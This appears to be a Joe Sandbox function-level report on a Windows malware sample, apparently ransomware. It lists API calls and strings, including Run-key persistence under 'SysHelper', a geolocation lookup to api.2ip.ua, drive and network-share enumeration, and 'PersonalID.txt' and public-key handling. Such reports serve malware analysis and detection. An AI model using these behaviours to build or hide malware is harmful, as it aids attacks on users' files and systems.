Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: e056016546af18388ccd3bba144ed1cae6fa69aa85d2c925f0c6a3887c700538
Instruction ID: 866eb7db68ae170cd8e17be643faf7720e0ae735171854e0fa5cbc2bc792534d
Opcode Fuzzy Hash: e056016546af18388ccd3bba144ed1cae6fa69aa85d2c925f0c6a3887c700538
Instruction Fuzzy Hash: 85C19171508340AFDB20DF25DD45B9BBBE0FF85318F14492EF888863A1D7799885CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00423576 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 004235B1

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

__gmtime64_s.LIBCMT ref: 0042364A
__gmtime64_s.LIBCMT ref: 00423680
__gmtime64_s.LIBCMT ref: 0042369D
__allrem.LIBCMT ref: 004236F3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0042370F
__allrem.LIBCMT ref: 00423726
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423744
__allrem.LIBCMT ref: 0042375B
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00423779
__invoke_watson.LIBCMT ref: 004237EA

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: ab95fd8d4aa8d0004faaa41ec126efad4d06c0b8c45c9850b5361983c80b405c
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 6E7108B1B00726BBD7149E6ADC41B5AB3B8AF40729F54823FF514D6381E77CEA408798

Uniqueness

Uniqueness Score: -1.00%

Function 0040CF10 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 228
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040CF4A
InternetOpenW.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0040CF5F
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0040CFA6
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0040CFCD
InternetCloseHandle.WININET(00000000), ref: 0040CFDA
InternetCloseHandle.WININET(00000000), ref: 0040CFDD

Strings

Microsoft Internet Explorer, xrefs: 0040CF5A
https://api.2ip.ua/geo.json, xrefs: 0040CF79
"country_code":", xrefs: 0040CFE1

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileRead_memset
String ID: "country_code":"$Microsoft Internet Explorer$https://api.2ip.ua/geo.json
API String ID: 1485416377-2962370585
Opcode ID: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction ID: 63dc5d72282b855868e1768d03255ed744c0e271f8772f8e66d922d9032ce3a5
Opcode Fuzzy Hash: 0805b9f8892e75a0c503b3632afaad7c8239eac82df1340367160222ea91e53d
Instruction Fuzzy Hash: 0F91B470D00218EBDF10DF90DD55BEEBBB4AF05308F14416AE4057B2C1DBBA5A89CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C740 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 00420FDD: __wfsopen.LIBCMT ref: 00420FE8

_fgetws.LIBCMT ref: 0040C7BC
_memmove.LIBCMT ref: 0040C89F
CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C77C, 0040C956

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CreateDirectory__wfsopen_fgetws_memmove
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2864494435-54166481
Opcode ID: 668aece8c99ea5c9e6175df748f0ede5af6f34e9147d9484ea9038d6ec1cbe4f
Instruction ID: 3a80d152ee3a33a632d987be3a831cd6f981e29f6d1810208bb328cacc5ceb60
Opcode Fuzzy Hash: 668aece8c99ea5c9e6175df748f0ede5af6f34e9147d9484ea9038d6ec1cbe4f
Instruction Fuzzy Hash: 449193B2E00219DBCF20DFA5D9857AFB7B5AF04304F54463BE805B3281E7799A44CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040C6A0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,0041E6D4), ref: 0040C6C2
RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 0040C6F3
RegCloseKey.ADVAPI32(00000000), ref: 0040C700
RegSetValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,00000004), ref: 0040C725
RegCloseKey.ADVAPI32(00000000), ref: 0040C72E

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040C6B8
SysHelper, xrefs: 0040C6EB, 0040C71D

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: Software\Microsoft\Windows\CurrentVersion$SysHelper
API String ID: 3962714758-1667468722
Opcode ID: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction ID: 83d53c3b81c5c3826f22504a9cab54a14a7287ca0244f3776693af22b4817dfa
Opcode Fuzzy Hash: 1b3e89e7960631348278952d172054be4d8a3531237e516afd507403cd6f8071
Instruction Fuzzy Hash: 60112D7594020CFBDB109F91CC86FEEBB78EB04708F2041A5FA04B22A1D7B55B14AB58

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6E8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44stringnetworkfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041E707

Part of subcall function 0040C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B

InternetOpenW.WININET ref: 0041E743
_wcsstr.LIBCMT ref: 0041E7AE
_memmove.LIBCMT ref: 0041E838
lstrcpyW.KERNEL32(?,?), ref: 0041E90A
lstrcatW.KERNEL32(?,&first=false), ref: 0041E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 0041E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 0041E9CD
InternetCloseHandle.WININET(00000000), ref: 0041E9F3
InternetCloseHandle.WININET(00000000), ref: 0041E9F6
_strstr.LIBCMT ref: 0041EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EA74
DeleteFileA.KERNEL32(?), ref: 0041EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 0041EA92
lstrcpyA.KERNEL32(?,?), ref: 0041EAA4
lstrcpyA.KERNEL32(?,?), ref: 0041EABA
lstrlenA.KERNEL32(?), ref: 0041EAC8
lstrlenA.KERNEL32(00000022), ref: 0041EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 0041EB5B
lstrlenA.KERNEL32(?), ref: 0041EB7C
_malloc.LIBCMT ref: 0041EB86
_memset.LIBCMT ref: 0041EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 0041EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 0041EBB6
_strstr.LIBCMT ref: 0041EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0041EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0041EC24
DeleteFileA.KERNEL32(?), ref: 0041EC32

Strings

{"public_key":", xrefs: 0041EA2E
bowsakkdestx.txt, xrefs: 0041EA67

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$Internetlstrcpylstrlen$Folder$AppendFile$CloseDeleteHandleOpen_memset_strstr$ByteCharMultiReadWide_malloc_memmove_wcsstrlstrcat
String ID: bowsakkdestx.txt${"public_key":"
API String ID: 2805819797-1771568745
Opcode ID: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction ID: c8d03ce4d59ef2fdab541fe9505dce31f646fa9b39186cada3cd653a8fd1c75a
Opcode Fuzzy Hash: b1c6d5b9cc7872d960cbedbbf01e77bd4c23ed7d360ca7e20ceb3fbc707119fd
Instruction Fuzzy Hash: 3901D234448391ABD630DF119C45FDF7B98AF51304F44482EFD8892182EF78A248879B

Uniqueness

Uniqueness Score: -1.00%

Function 0040C500 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 0040C51B
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C539

Strings

bowsakkdestx.txt, xrefs: 0040C52D

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Path$AppendFolder
String ID: bowsakkdestx.txt
API String ID: 29327785-2616962270
Opcode ID: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction ID: a05810460da3035b09b2d6f50620da2975429261b58b3288bff945a9ad0f9da5
Opcode Fuzzy Hash: 474c6379b963d257ae86b00d206dade7857df39941341afbbe7ce7c2bd65e929
Instruction Fuzzy Hash: 281127B2B4023833D930756A7C87FEB735C9B42725F4001B7FE0CA2182A5AE554501E9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA80 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD
ShowWindow.USER32(00000000,00000000), ref: 0041BABE
UpdateWindow.USER32(00000000), ref: 0041BAC5

Strings

LPCWSTRszTitle, xrefs: 0041BA9B
LPCWSTRszWindowClass, xrefs: 0041BAA0

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Window$CreateShowUpdate
String ID: LPCWSTRszTitle$LPCWSTRszWindowClass
API String ID: 2944774295-3503800400
Opcode ID: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction ID: 93e3ae8c3ab6e4512016b3ef7200399996c0305a41779b72c5d02abe3f8cd5ff
Opcode Fuzzy Hash: a65d1e0183acb99785454671d95aa34da9e61ee796a7d373e4ca79d97c1a5a0d
Instruction Fuzzy Hash: 08E04F316C172077E3715B15BC5BFDA2918FB05F10F308119FA14792E0C6E569428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 00410BD0 Relevance: 7.7, APIs: 5, Instructions: 234sharememoryCOMMON

Download Yara Rule

APIs

WNetOpenEnumW.MPR(00000002,00000000,00000000,00000000,?), ref: 00410C12
GlobalAlloc.KERNEL32(00000040,00004000), ref: 00410C39
_memset.LIBCMT ref: 00410C4C
WNetEnumResourceW.MPR(?,?,00000000,?), ref: 00410C63

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: Enum$AllocGlobalOpenResource_memset
String ID:
API String ID: 364255426-0
Opcode ID: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction ID: bd97fe2cb621df6ca28f66a093f1f6e361520364a30ff1ea4190286e2c40543e
Opcode Fuzzy Hash: 54b312cc4ee8bd09624119d4c268e334e055f93c635bfd49589b22278edf9028
Instruction Fuzzy Hash: 0F91B2756083418FD724DF55D891BABB7E1FF84704F14891EE48A87380E7B8A981CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00410A50 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

GetLogicalDrives.KERNEL32 ref: 00410A75
SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
PathFileExistsA.SHLWAPI(?), ref: 00410AF9
SetErrorMode.KERNEL32(00000000), ref: 00410B02
GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: ErrorMode$DriveDrivesExistsFileLogicalPathType
String ID:
API String ID: 2560635915-0
Opcode ID: 731358bb1881b2de5a166c7589031af44ed4959e6c5f14ac5a3a2c455bdc14fd
Instruction ID: e48b338c548d72163c5ae3f73f283317dfaad29deff82c686574d6b9df2ed0f8
Opcode Fuzzy Hash: 731358bb1881b2de5a166c7589031af44ed4959e6c5f14ac5a3a2c455bdc14fd
Instruction Fuzzy Hash: 6141F271108340DFC710DF69C885B8BBBE4BB85718F500A2EF089922A2D7B9D584CB97

Uniqueness

Uniqueness Score: -1.00%

Function 00423B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00423B64

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

std::exception::exception.LIBCMT ref: 00423B82
__CxxThrowException@8.LIBCMT ref: 00423B97

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

Strings

bad allocation, xrefs: 00423B77

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: 420923b3457038c229efad47892c1d2d87452850087ae7eb2c83c6acc61aea80
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: 420923b3457038c229efad47892c1d2d87452850087ae7eb2c83c6acc61aea80
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000,00000000,?,?), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: 5c8438f1e0f5686fb8668cf41c0fff02d28d9d0dbeeb44db3d71cae29d95a2fc
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: 5c8438f1e0f5686fb8668cf41c0fff02d28d9d0dbeeb44db3d71cae29d95a2fc
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(00000000,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: bad3609ad615ec0fe5f5379fd9a4335ddd94e9fd1592faa856105229702b452d
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: bad3609ad615ec0fe5f5379fd9a4335ddd94e9fd1592faa856105229702b452d
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b7d04aaf57e2c38a629a4b8fb192307efab073ba7f3b957db105f9608cfaa5d8
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF50 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040EF69

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(008C0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040EF85
_memset.LIBCMT ref: 0040EF9B

Memory Dump Source

Source File: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2219331749.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2219331749.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_AaIo4VGgvO.jbxd

Yara matches

Similarity

API ID: _malloc$AllocateHeap_memset
String ID:
API String ID: 3655941445-0
Opcode ID: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction ID: 5fa84ec4042e21db229fa26042ce02b7cce951e2f5e2b33d0654eda62efe4b83
Opcode Fuzzy Hash: 030ce5304eb8d874ea407c5a52bd42f85663f8070df60884b58911fa6b375070
Instruction Fuzzy Hash: 06110631600624EFCB10DF99D881A5ABBB5FF89314F2445A9E9489F396D731B912CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00454C00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 23COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00454AE0: GetStdHandle.KERNEL32(000000F4,00454C16,%s(%d): OpenSSL internal error, assertion failed: %s,?,?,?,0045480E,.\crypto\cryptlib.c,00000253,pointer != NULL,00000000,00451D37,00000000,0040CDAE,00000001,00000001), ref: 00454AFA
Part of subcall function 00454AE0: GetFileType.KERNEL32(00000000), ref: 00454B05
Part of subcall function 00454AE0: __vfwprintf_p.LIBCMT ref: 00454B27

_raise.LIBCMT ref: 00454C18

